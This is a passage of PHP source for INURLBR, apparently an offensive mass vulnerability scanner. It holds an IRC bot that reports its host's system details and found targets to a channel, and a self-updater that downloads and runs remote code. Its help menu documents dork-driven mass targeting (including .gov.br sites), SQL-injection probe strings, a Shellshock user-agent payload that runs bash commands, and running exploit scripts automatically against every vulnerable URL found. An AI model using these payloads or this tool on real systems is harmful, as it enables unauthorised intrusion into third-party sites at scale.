$_SESSION['config']['port-write'] = not_isnull_empty($opcoes['port-write']) ? $opcoes['port-write'] : NULL;

#[+]VALIDATION SET URL REDIRECT HEADER
$_SESSION['config']['ifredirect'] = not_isnull_empty($opcoes['ifredirect']) ? $opcoes['ifredirect'] : NULL;

#[+]VALIDATION SET URL REDIRECT HEADER
$_SESSION['config']['persist'] = not_isnull_empty($opcoes['persist']) ? $opcoes['persist'] : 4;

#[+]VALIDATION SET FILE COOKIE
$_SESSION['config']['file-cookie'] = not_isnull_empty($opcoes['file-cookie']) ? $opcoes['file-cookie'] : NULL;

#[+]VALIDATION SET STRING CONCAT URL SUB-PROCESS
$_SESSION['config']['sub-concat'] = not_isnull_empty($opcoes['sub-concat']) ? $opcoes['sub-concat'] : NULL;

################################################################################
#IRC CONFIGURATION##############################################################
################################################################################

if (is_array($_SESSION['config']['irc']['conf'])) {

    $alph = range("A", "Z");
    $_ = array(0 => rand(0, 10000), 1 => $alph[rand(0, count($alph))]);
    $_SESSION['config']['irc']['my_pid'] = 0;
    $_SESSION['config']['irc']['irc_server'] = $_SESSION['config']['irc']['conf'][0];
    $_SESSION['config']['irc']['irc_channel'] = "#{$_SESSION['config']['irc']['conf'][1]}";
    $_SESSION['config']['irc']['irc_port'] = 6667;
    $_SESSION['config']['irc']['localhost'] = "127.0.0.1 localhost";
    $_SESSION['config']['irc']['irc_nick'] = "[BOT]1nurl{$_[0]}[{$_[1]}]";
    $_SESSION['config']['irc']['irc_realname'] = "B0t_1NURLBR";
    $_SESSION['config']['irc']['irc_quiet'] = "Session Ended";
    global $conf;
} elseif (!is_array($_SESSION['config']['irc']['conf']) && not_isnull_empty($opcoes['irc'])) {

    __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}IRC WRONG FORMAT! ex: --irc 'irc.rizon.net#inurlbrasil' {$_SESSION["c0"]}\n");
}

################################################################################
#IRC CONECTION##################################################################
################################################################################

function __ircConect($conf) {

    $fp = fsockopen($conf['irc_server'], $conf['irc_port'], $conf['errno'], $conf['errstr'], 30);
    if (!$fp) {

        echo "Error: {$conf['errstr']}({$conf['errno']})\n";
        return NULL;
    }
    $u = php_uname();
    fwrite($fp, "NICK {$conf['irc_nick']}\r\n");
    fwrite($fp, "USER {$conf['irc_nick']} 8 * :{$conf['irc_realname']}\r\n");
    fwrite($fp, "JOIN {$conf['irc_channel']}\r\n");
    fwrite($fp, "PRIVMSG {$conf['irc_channel']} :[ SERVER ] {$u}\r\n");
    return $fp;
}

################################################################################
#IRC SEND MSG###################################################################
################################################################################

function __ircMsg($conf, $msg) {

    fwrite($conf['irc_connection'], "PRIVMSG {conf['irc_channel']} :${msg}\r\n") . sleep(2);
    __plus();
}

################################################################################
#IRC PING PONG##################################################################
################################################################################

function __ircPong($conf) {

    while (!feof($conf['irc_connection'])) {

        $conf['READ_BUFFER'] = fgets($conf['irc_connection']);
        __plus();
        if (preg_match("/^PING(.+)/", $conf['READ_BUFFER'], $conf['ret'])) {

            __debug(array('debug' => "[ PING-PONG ]{$conf['ret'][1]}", 'function' => '__ircPong'), 6) . __plus();
            fwrite($conf['READ_BUFFER'], "PONG {$conf['ret'][1]}\r\n");
            ($_SESSION['config']['debug'] == 6) ?
                            fwrite($conf['irc_connection'], "PRIVMSG {conf['irc_channel']} :[ PING-PONG ]-> {$conf['ret'][1]}->function:__ircPong\r\n") : NULL;
        }
    }
}

################################################################################
#IRC QUIT#######################################################################
################################################################################

function __ircQuit($conf) {

    fwrite($conf['irc_connection'], "QUIT {$conf['irc_quiet']}\r\n") . sleep(2);
    __plus();
    fclose($conf['irc_connection']);
}

#END IRC########################################################################
#UPDATE SCRIPT##################################################################
################################################################################

function __update() {

    echo __bannerLogo();

    echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}WANT TO MAKE UPDATE SCRIPT\n{$_SESSION["c0"]}";
    echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}This can modify the current script\n{$_SESSION["c0"]}";
    echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}ARE YOU SURE ? (y \ n): {$_SESSION["c0"]}";

    if (trim(fgets(STDIN)) == 'y') {

        $resultado = __request_info("https://raw.githubusercontent.com/googleinurl/SCANNER-INURLBR/master/inurlbr.php", $_SESSION["config"]["proxy"], NULL);

        if (not_isnull_empty($resultado['corpo'])) {

            unlink('inurlbr.php');
            $varf = fopen('inurlbr.php', 'a');
            fwrite($varf, $resultado['corpo']);
            fclose($varf);
            chmod('inurlbr.php', 0777);
            echo "\nUPDATE DONE WITH SUCCESS!\n";
            sleep(3);
            system("chmod +x inurlbr.php | php inurlbr.php");
            exit();
        } else {

            echo system("command clear") . __bannerLogo();
            echo "{$_SESSION["c1"]}__[ x ] {$_SESSION["c16"]}FAILURE TO SERVER!\n{$_SESSION["c0"]}";
        }
    }
}

################################################################################
#SECURITIES VALIDATION DOUBLE#####################################################
################################################################################

function not_isnull_empty($valor = NULL) {

    RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE;
}

################################################################################
#MENU###########################################################################
################################################################################

function __menu() {

    return system("command clear") . __getOut(__extra() . "        
 {$_SESSION["c1"]}_    _ ______ _      _____  
| |  | |  ____| |    |  __ \
| |__| | |__  | |    | |__) |
|  __  |  __| | |    |  ___/
| |  | | |____| |____| |    
|_|  |_|______|______|_|

{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current PHP version=>[ {$_SESSION["c1"]}" . phpversion() . "{$_SESSION["c0"]} ]
{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current script owner=>[ {$_SESSION["c1"]}" . get_current_user() . "{$_SESSION["c0"]} ]
{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current uname=>[ {$_SESSION["c1"]}" . php_uname() . "{$_SESSION["c0"]} ]
{$_SESSION["c1"]}[!]{$_SESSION["c0"]}Current pwd =>[ {$_SESSION["c1"]}" . getcwd() . "{$_SESSION["c0"]} ]
" . $_SESSION['config']['line'] . "
    
{$_SESSION["c1"]}-h{$_SESSION["c0"]}
{$_SESSION["c1"]}--help{$_SESSION["c0"]}   Alternative long length help command.
{$_SESSION["c1"]}--ajuda{$_SESSION["c0"]}  Command to specify Help.
{$_SESSION["c1"]}--info{$_SESSION["c0"]}   Information script.
{$_SESSION["c1"]}--update{$_SESSION["c0"]} Code update.    
{$_SESSION["c1"]}-q{$_SESSION["c0"]}       Choose which search engine you want through [{$_SESSION["c2"]}1...24{$_SESSION["c0"]}] / [{$_SESSION["c2"]}e1..6{$_SESSION["c0"]}]]:
     [options]:
     {$_SESSION["c1"]}1{$_SESSION["c0"]}   - {$_SESSION["c2"]}GOOGLE / (CSE) GENERIC RANDOM / API
     {$_SESSION["c1"]}2{$_SESSION["c0"]}   - {$_SESSION["c2"]}BING
     {$_SESSION["c1"]}3{$_SESSION["c0"]}   - {$_SESSION["c2"]}YAHOO BR
     {$_SESSION["c1"]}4{$_SESSION["c0"]}   - {$_SESSION["c2"]}ASK
     {$_SESSION["c1"]}5{$_SESSION["c0"]}   - {$_SESSION["c2"]}HAO123 BR
     {$_SESSION["c1"]}6{$_SESSION["c0"]}   - {$_SESSION["c2"]}GOOGLE (API)
     {$_SESSION["c1"]}7{$_SESSION["c0"]}   - {$_SESSION["c2"]}LYCOS
     {$_SESSION["c1"]}8{$_SESSION["c0"]}   - {$_SESSION["c2"]}UOL BR
     {$_SESSION["c1"]}9{$_SESSION["c0"]}   - {$_SESSION["c2"]}YAHOO US
     {$_SESSION["c1"]}10{$_SESSION["c0"]}  - {$_SESSION["c2"]}SAPO
     {$_SESSION["c1"]}11{$_SESSION["c0"]}  - {$_SESSION["c2"]}DMOZ
     {$_SESSION["c1"]}12{$_SESSION["c0"]}  - {$_SESSION["c2"]}GIGABLAST
     {$_SESSION["c1"]}13{$_SESSION["c0"]}  - {$_SESSION["c2"]}NEVER
     {$_SESSION["c1"]}14{$_SESSION["c0"]}  - {$_SESSION["c2"]}BAIDU BR
     {$_SESSION["c1"]}15{$_SESSION["c0"]}  - {$_SESSION["c2"]}YANDEX
     {$_SESSION["c1"]}16{$_SESSION["c0"]}  - {$_SESSION["c2"]}ZOO
     {$_SESSION["c1"]}17{$_SESSION["c0"]}  - {$_SESSION["c2"]}HOTBOT
     {$_SESSION["c1"]}18{$_SESSION["c0"]}  - {$_SESSION["c2"]}ZHONGSOU
     {$_SESSION["c1"]}19{$_SESSION["c0"]}  - {$_SESSION["c2"]}HKSEARCH
     {$_SESSION["c1"]}20{$_SESSION["c0"]}  - {$_SESSION["c2"]}EZILION
     {$_SESSION["c1"]}21{$_SESSION["c0"]}  - {$_SESSION["c2"]}SOGOU
     {$_SESSION["c1"]}22{$_SESSION["c0"]}  - {$_SESSION["c2"]}DUCK DUCK GO
     {$_SESSION["c1"]}23{$_SESSION["c0"]}  - {$_SESSION["c2"]}BOOROW
     {$_SESSION["c1"]}24{$_SESSION["c0"]}  - {$_SESSION["c2"]}GOOGLE(CSE) GENERIC RANDOM
     ----------------------------------------
                 SPECIAL MOTORS
     ----------------------------------------
     {$_SESSION["c1"]}e1{$_SESSION["c0"]}  - {$_SESSION["c2"]}TOR FIND
     {$_SESSION["c1"]}e2{$_SESSION["c0"]}  - {$_SESSION["c2"]}ELEPHANT
     {$_SESSION["c1"]}e3{$_SESSION["c0"]}  - {$_SESSION["c2"]}TORSEARCH
     {$_SESSION["c1"]}e4{$_SESSION["c0"]}  - {$_SESSION["c2"]}WIKILEAKS
     {$_SESSION["c1"]}e5{$_SESSION["c0"]}  - {$_SESSION["c2"]}OTN
     {$_SESSION["c1"]}e6{$_SESSION["c0"]}  - {$_SESSION["c2"]}EXPLOITS SHODAN
     ----------------------------------------
     {$_SESSION["c1"]}all{$_SESSION["c0"]} - {$_SESSION["c2"]}All search engines / not special motors{$_SESSION["c0"]}
     Default:    {$_SESSION["c1"]}1{$_SESSION["c0"]}
     Example: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}{op}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}1{$_SESSION["c0"]}
              {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}5{$_SESSION["c0"]}
               Using more than one engine:  {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}1,2,5,6,11,24{$_SESSION["c0"]}
               Using all engines:      {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}all{$_SESSION["c0"]}
     
 {$_SESSION["c1"]}--proxy{$_SESSION["c0"]} Choose which proxy you want to use through the search engine:
     Example: {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}{proxy:port}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}localhost:8118{$_SESSION["c0"]}
              {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}socks5://googleinurl@localhost:9050{$_SESSION["c0"]}
              {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}http://admin:12334@172.16.0.90:8080{$_SESSION["c0"]}
   
 {$_SESSION["c1"]}--proxy-file{$_SESSION["c0"]} Set font file to randomize your proxy to each search engine.
     Example: {$_SESSION["c1"]}--proxy-file {$_SESSION["c2"]}{proxys}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--proxy-file {$_SESSION["c2"]}proxys_list.txt{$_SESSION["c0"]}

 {$_SESSION["c1"]}--time-proxy{$_SESSION["c0"]} Set the time how often the proxy will be exchanged.
     Example: {$_SESSION["c1"]}--time-proxy {$_SESSION["c2"]}{second}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--time-proxy {$_SESSION["c2"]}10{$_SESSION["c0"]}

 {$_SESSION["c1"]}--proxy-http-file{$_SESSION["c0"]} Set file with urls http proxy, 
     are used to bular capch search engines
     Example: {$_SESSION["c1"]}--proxy-http-file {$_SESSION["c2"]}{youfilehttp}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--proxy-http-file {$_SESSION["c2"]}http_proxys.txt{$_SESSION["c0"]}
         

 {$_SESSION["c1"]}--tor-random{$_SESSION["c0"]} Enables the TOR function, each usage links an unique IP.
 
 {$_SESSION["c1"]}-t{$_SESSION["c0"]}  Choose the validation type: op {$_SESSION["c2"]}1, 2, 3, 4, 5{$_SESSION["c0"]}
     [options]:
     {$_SESSION["c2"]}1{$_SESSION["c0"]}   - The first type uses default errors considering the script:
     It establishes connection with the exploit through the get method.
     Demo: www.alvo.com.br/pasta/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
   
     {$_SESSION["c2"]}2{$_SESSION["c0"]}   -  The second type tries to valid the error defined by: {$_SESSION["c1"]}-a={$_SESSION["c2"]}'VALUE_INSIDE_THE _TARGET'{$_SESSION["c0"]}
     It also establishes connection with the exploit through the get method
     Demo: www.alvo.com.br/pasta/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
   
     {$_SESSION["c2"]}3{$_SESSION["c0"]}   - The third type combine both first and second types:
     Then, of course, it also establishes connection with the exploit through the get method
     Demo: www.target.com.br{$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
     Default:    {$_SESSION["c2"]}1{$_SESSION["c0"]}
     Example: {$_SESSION["c1"]}-t {$_SESSION["c2"]}{op}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}-t {$_SESSION["c2"]}1{$_SESSION["c0"]}
     
     {$_SESSION["c2"]}4{$_SESSION["c0"]}   - The fourth type a validation based on source file and will be enabled scanner standard functions.
     The source file their values are concatenated with target url.
     - Set your target with command {$_SESSION["c1"]}--target {$_SESSION["c2"]}{http://target}{$_SESSION["c0"]}
     - Set your file with command {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file}{$_SESSION["c0"]}
     Explicative:
     Source file values:
     /admin/index.php?id=
     /pag/index.php?id=
     /brazil.php?new=
     Demo: 
     www.target.com.br/admin/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
     www.target.com.br/pag/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
     www.target.com.br/brazil.php?new={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]}
     
     {$_SESSION["c2"]}5{$_SESSION["c0"]}   - (FIND PAGE) The fifth type of validation based on the source file,
     Will be enabled only one validation code 200 on the target server, or if the url submit such code will be considered vulnerable.
     - Set your target with command {$_SESSION["c1"]}--target {$_SESSION["c2"]}{http://target}{$_SESSION["c0"]}
     - Set your file with command {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file}{$_SESSION["c0"]}
     Explicative:
     Source file values:
     /admin/admin.php
     /admin.asp
     /admin.aspx
     Demo: 
     www.target.com.br/admin/admin.php
     www.target.com.br/admin.asp
     www.target.com.br/admin.aspx
     Observation: If it shows the code 200 will be separated in the output file

     DEFAULT ERRORS:  
     {$_SESSION["c11"]}
     [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL,           [*]ZEND FRAMEWORK, 
     [*]ERROR MARIADB,   [*]ERROR MYSQL,          [*]ERROR JBOSSWEB,        [*]ERROR MICROSOFT,
     [*]ERROR ODBC,      [*]ERROR POSTGRESQL,     [*]ERROR JAVA INFINITYDB, [*]ERROR PHP,
     [*]CMS WORDPRESS,   [*]SHELL WEB,            [*]ERROR JDBC,            [*]ERROR ASP,
     [*]ERROR ORACLE,    [*]ERROR DB2,            [*]JDBC CFM,              [*]ERROS LUA, 
     [*]ERROR INDEFINITE
     {$_SESSION["c0"]}
         
 {$_SESSION["c1"]}--dork{$_SESSION["c0"]} Defines which dork the search engine will use.
     Example: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}{dork}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br inurl:php? id'{$_SESSION["c0"]}
     - Using multiples dorks:
     Example: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}{[DORK]dork1[DORK]dork2[DORK]dork3}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'{$_SESSION["c0"]}
 
 {$_SESSION["c1"]}--dork-file{$_SESSION["c0"]} Set font file with your search dorks.
     Example: {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}{dork_file}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorks.txt'{$_SESSION["c0"]}

 {$_SESSION["c1"]}--exploit-get{$_SESSION["c0"]} Defines which exploit will be injected through the GET method to each URL found.
     Example: {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}{exploit_get}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?'´%270x27;\"{$_SESSION["c0"]}
     
 {$_SESSION["c1"]}--exploit-post{$_SESSION["c0"]} Defines which exploit will be injected through the POST method to each URL found.
     Example: {$_SESSION["c1"]}--exploit-post {$_SESSION["c3"]}{exploit_post}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--exploit-post {$_SESSION["c3"]}'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'{$_SESSION["c0"]}
     
 {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]} Defines which exploit/parameter will be executed in the options: {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all{$_SESSION["c0"]}.   
     The exploit-command will be identified by the paramaters: {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all as {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]}      
     Ex {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}'/admin/config.conf' {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'curl -v {$_SESSION["c8"]}_TARGET_{$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c2"]}'{$_SESSION["c0"]}
     _TARGET_ is the specified URL/TARGET obtained by the process
     _EXPLOIT_ is the exploit/parameter defined by the option {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]}.
     Example: {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}{exploit-command}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}'/admin/config.conf'{$_SESSION["c0"]}  
     
 {$_SESSION["c1"]}-a{$_SESSION["c0"]}  Specify the string that will be used on the search script:
     Example: {$_SESSION["c1"]}-a {$_SESSION["c2"]}{string}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}-a {$_SESSION["c2"]}'<title>hello world</title>'{$_SESSION["c0"]}
     
 {$_SESSION["c1"]}-d{$_SESSION["c0"]}  Specify the script usage op {$_SESSION["c2"]}1, 2, 3, 4, 5.{$_SESSION["c0"]}
     Example: {$_SESSION["c1"]}-d {$_SESSION["c2"]}{op}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}-d {$_SESSION["c2"]}1 {$_SESSION["c0"]}/URL of the search engine.
              {$_SESSION["c1"]}-d {$_SESSION["c2"]}2 {$_SESSION["c0"]}/Show all the url.
              {$_SESSION["c1"]}-d {$_SESSION["c2"]}3 {$_SESSION["c0"]}/Detailed request of every URL.
              {$_SESSION["c1"]}-d {$_SESSION["c2"]}4 {$_SESSION["c0"]}/Shows the HTML of every URL.
              {$_SESSION["c1"]}-d {$_SESSION["c2"]}5 {$_SESSION["c0"]}/Detailed request of all URLs.
              {$_SESSION["c1"]}-d {$_SESSION["c2"]}6 {$_SESSION["c0"]}/Detailed PING - PONG irc.    
             
 {$_SESSION["c1"]}-s{$_SESSION["c0"]}  Specify the output file where it will be saved the vulnerable URLs.
     
     Example: {$_SESSION["c1"]}-s {$_SESSION["c2"]}{file}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}-s {$_SESSION["c2"]}your_file.txt
     
 {$_SESSION["c1"]}-o{$_SESSION["c0"]}  Manually manage the vulnerable URLs you want to use from a file, without using a search engine.
     Example: {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file_where_my_urls_are}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}-o {$_SESSION["c2"]}tests.txt
   
 {$_SESSION["c1"]}--persist{$_SESSION["c0"]}  Attempts when Google blocks your search.
     The script tries to another google host / default = 4
     Example: {$_SESSION["c1"]}--persist {$_SESSION["c2"]}{number_attempts}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--persist {$_SESSION["c2"]}7

 {$_SESSION["c1"]}--ifredirect{$_SESSION["c0"]}  Return validation method post REDIRECT_URL
     Example: {$_SESSION["c1"]}--ifredirect {$_SESSION["c2"]}{string_validation}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--ifredirect {$_SESSION["c2"]}'/admin/painel.php'

 {$_SESSION["c1"]}-m{$_SESSION["c0"]}  Enable the search for emails on the urls specified.
  
 {$_SESSION["c1"]}-u{$_SESSION["c0"]}  Enables the search for URL lists on the url specified.
 
 {$_SESSION["c1"]}--gc{$_SESSION["c0"]} Enable validation of values with google webcache.
     
 {$_SESSION["c1"]}--pr{$_SESSION["c0"]}  Progressive scan, used to set operators (dorks), 
     makes the search of a dork and valid results, then goes a dork at a time.
  
 {$_SESSION["c1"]}--file-cookie{$_SESSION["c0"]} Open cookie file.
     
 {$_SESSION["c1"]}--save-as{$_SESSION["c0"]} Save results in a certain place.

 {$_SESSION["c1"]}--shellshock{$_SESSION["c0"]} Explore shellshock vulnerability by setting a malicious user-agent.
 
 {$_SESSION["c1"]}--popup{$_SESSION["c0"]} Run --command all or vuln in a parallel terminal.

 {$_SESSION["c1"]}--cms-check{$_SESSION["c0"]} Enable simple check if the url / target is using CMS.

 {$_SESSION["c1"]}--no-banner{$_SESSION["c0"]} Remove the script presentation banner.
     
 {$_SESSION["c1"]}--unique{$_SESSION["c0"]} Filter results in unique domains.

 {$_SESSION["c1"]}--beep{$_SESSION["c0"]} Beep sound when a vulnerability is found.
     
 {$_SESSION["c1"]}--alexa-rank{$_SESSION["c0"]} Show alexa positioning in the results.
     
 {$_SESSION["c1"]}--robots{$_SESSION["c0"]} Show values file robots.
      
 {$_SESSION["c1"]}--range{$_SESSION["c0"]} Set range IP.
      Example: {$_SESSION["c1"]}--range {$_SESSION["c2"]}{range_start,rage_end}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--range {$_SESSION["c2"]}'172.16.0.5#172.16.0.255'

 {$_SESSION["c1"]}--range-rand{$_SESSION["c0"]} Set amount of random ips.
      Example: {$_SESSION["c1"]}--range-rand {$_SESSION["c2"]}{rand}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--range-rand {$_SESSION["c2"]}'50'

 {$_SESSION["c1"]}--irc{$_SESSION["c0"]} Sending vulnerable to IRC / server channel.
      Example: {$_SESSION["c1"]}--irc {$_SESSION["c2"]}{server#channel}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--irc {$_SESSION["c2"]}'irc.rizon.net#inurlbrasil'

 {$_SESSION["c1"]}--http-header{$_SESSION["c0"]} Set HTTP header.
      Example: {$_SESSION["c1"]}--http-header {$_SESSION["c2"]}{youemail}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--http-header {$_SESSION["c2"]}'HTTP/1.1 401 Unauthorized,WWW-Authenticate: Basic realm=\"Top Secret\"'
          
 {$_SESSION["c1"]}--sedmail{$_SESSION["c0"]} Sending vulnerable to email.
      Example: {$_SESSION["c1"]}--sedmail {$_SESSION["c2"]}{youemail}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--sedmail {$_SESSION["c2"]}youemail@inurl.com.br
          
 {$_SESSION["c1"]}--delay{$_SESSION["c0"]} Delay between research processes.
      Example: {$_SESSION["c1"]}--delay {$_SESSION["c2"]}{second}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--delay {$_SESSION["c2"]}10
  
 {$_SESSION["c1"]}--time-out{$_SESSION["c0"]} Timeout to exit the process.
      Example: {$_SESSION["c1"]}--time-out {$_SESSION["c2"]}{second}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--time-out {$_SESSION["c2"]}10

 {$_SESSION["c1"]}--ifurl{$_SESSION["c0"]} Filter URLs based on their argument.
      Example: {$_SESSION["c1"]}--ifurl {$_SESSION["c2"]}{ifurl}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--ifurl {$_SESSION["c2"]}index.php?id=

 {$_SESSION["c1"]}--ifcode{$_SESSION["c0"]} Valid results based on your return http code.
      Example: {$_SESSION["c1"]}--ifcode {$_SESSION["c2"]}{ifcode}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--ifcode {$_SESSION["c2"]}200
 
 {$_SESSION["c1"]}--ifemail{$_SESSION["c0"]} Filter E-mails based on their argument.
     Example: {$_SESSION["c1"]}--ifemail {$_SESSION["c2"]}{file_where_my_emails_are}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--ifemail {$_SESSION["c2"]}sp.gov.br

 {$_SESSION["c1"]}--url-reference{$_SESSION["c0"]} Define referring URL in the request to send him against the target.
      Example: {$_SESSION["c1"]}--url-reference {$_SESSION["c2"]}{url}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--url-reference {$_SESSION["c2"]}http://target.com/admin/user/valid.php
 
 {$_SESSION["c1"]}--mp{$_SESSION["c0"]} Limits the number of pages in the search engines.
     Example: {$_SESSION["c1"]}--mp {$_SESSION["c2"]}{limit}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--mp {$_SESSION["c2"]}50
     
 {$_SESSION["c1"]}--user-agent{$_SESSION["c0"]} Define the user agent used in its request against the target.
      Example: {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}{agent}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11'
      Usage-exploit / SHELLSHOCK:   
      {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}'() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;\"'
      Complete command:    
      php inurlbr.php --dork '_YOU_DORK_' -s shellshock.txt --user-agent '_YOU_AGENT_XPL_SHELLSHOCK' -t 2 -a '99887766555'
 
 {$_SESSION["c1"]}--sall{$_SESSION["c0"]} Saves all urls found by the scanner.
     Example: {$_SESSION["c1"]}--sall {$_SESSION["c2"]}{file}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--sall {$_SESSION["c2"]}your_file.txt

 {$_SESSION["c1"]}--command-vul{$_SESSION["c0"]} Every vulnerable URL found will execute this command parameters.
     Example: {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}{command}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]}
              {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]}
              {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]}
                  
 {$_SESSION["c1"]}--command-all{$_SESSION["c0"]} Use this commmand to specify a single command to EVERY URL found.
     Example: {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}{command}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]}
              {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]}
              {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]}
    [!] Observation:
   
    {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} will be replaced by the URL/target found, although if the user  
    doesn't input the get, only the domain will be executed.
   
    {$_SESSION["c14"]}_TARGETFULL_{$_SESSION["c0"]} will be replaced by the original URL / target found.
       
    {$_SESSION["c14"]}_TARGETXPL_{$_SESSION["c0"]} will be replaced by the original URL / target found + EXPLOIT --exploit-get.
       
    {$_SESSION["c9"]}_TARGETIP_{$_SESSION["c0"]} return of ip URL / target found.
        
    {$_SESSION["c8"]}_URI_{$_SESSION["c0"]} Back URL set of folders / target found.
        
    {$_SESSION["c15"]}_RANDOM_{$_SESSION["c0"]} Random strings.
        
    {$_SESSION["c9"]}_PORT_{$_SESSION["c0"]} Capture port of the current test, within the --port-scan process.
   
    {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]}  will be replaced by the specified command argument {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]}.
   The exploit-command will be identified by the parameters {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all as {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]}

 {$_SESSION["c1"]}--replace{$_SESSION["c0"]} Replace values in the target URL.
